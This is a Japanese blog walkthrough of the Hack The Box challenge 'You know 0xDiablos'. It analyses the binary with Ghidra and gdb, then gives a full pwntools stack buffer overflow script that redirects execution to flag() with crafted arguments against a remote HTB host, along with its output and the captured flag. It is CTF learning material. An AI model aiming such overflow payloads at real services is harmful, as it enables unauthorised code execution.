Ccmmutty logo
Commutty IT
8 min read

hack the box ~魔法使いへの道~ (その12) 【Walkthrough】You know 0xDiablos

https://cdn.magicode.io/media/notebox/b9dea474-0dde-44fe-98fa-49824e9878f1.jpeg

hack the box 魔法使いへの道 (その12) 【Walkthrough】You know 0xDiablos

はじめに

ホワイトハッカーを目指したエンジニアの活動記録です. セキュリティ関連の知識ゼロですが,奮闘していきます.
前回の記事はこちら,Jerryを攻略しました*1
今回はBeginner TrackのYou know 0xDiablosをこちらの記事*2*3*4を参考に攻略していきたいと思います.
file

配布ファイルの実行

取りあえず配布ファイルを実行すると,なにかしらの入力をすることができ,文字が返ってきました.
┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ ./vuln 
You know who are 0xDiablos: 
aaa
aaa

Ghidra

Ghidraを使って解析を行っていきます.ターミナルから起動します.
file
Tool chest のドラゴンのマークを押して起動します.
file
開いたらvulnファイルをドラッグアンドドロップしてOKを押します.
file
そうすると「main」関数があるので見に行きます.
file
vulnという関数が呼び出されているので,こちらの関数を見に行きます.
そうすると,get関数が使われていますので,バッファオーバーフロー*5*6が怪しいと思われます.
file
次に,エントリーポイントの場所を見に行きます.
┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ gdb ./vuln 
GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
(gdb) info file
Symbols from "/home/maki/Downloads/YouKnow/vuln".
Native process:
        Using the running image of child process 7103.
        While running this, GDB does not access memory from...
Local exec file:
        `/home/maki/Downloads/YouKnow/vuln', file type elf32-i386.
        Entry point: 0x80490d0
        0x08048194 - 0x080481a7 is .interp
        0x080481a8 - 0x080481cc is .note.gnu.build-id
        0x080481cc - 0x080481ec is .note.ABI-tag
        0x080481ec - 0x0804820c is .gnu.hash
        0x0804820c - 0x080482ec is .dynsym
        0x080482ec - 0x08048379 is .dynstr
        0x0804837a - 0x08048396 is .gnu.version
        0x08048398 - 0x080483c8 is .gnu.version_r
        0x080483c8 - 0x080483d8 is .rel.dyn
        0x080483d8 - 0x08048428 is .rel.plt
        0x08049000 - 0x08049020 is .init
        0x08049020 - 0x080490d0 is .plt
        0x080490d0 - 0x08049395 is .text
        0x08049398 - 0x080493ac is .fini
「_start」のここと対応しています.
file
次に,get関数の場所を確認したら,
file
Pythonで下記のようなプログラムを作成し
from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = remote("139.59.191.154", 30758)
#r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()
実行します.
┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ python vuln_exploit.py
[*] '/home/maki/Downloads/YouKnow/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to 139.59.191.154 on port 30758: Done
/home/maki/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 
\xd0\xde\xc0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x9\x90\x90\x90\x90ᆳ\xde
$                                                                                                                                                                                                               HTB{0ur_Buff3r_1s_not_healthy}[*] Got EOF while reading in interactive
$
remoteの情報はこちらのHOSTを使用します.
file
これでフラグゲットです.

おわりに

今回も無事に攻略できましたが,正直,だいぶ怪しい理解でやっていますので,後日きちんとした解説記事も出していきたいと思います. 次回からも奮っていきたいと思います.

Discussion

コメントにはログインが必要です。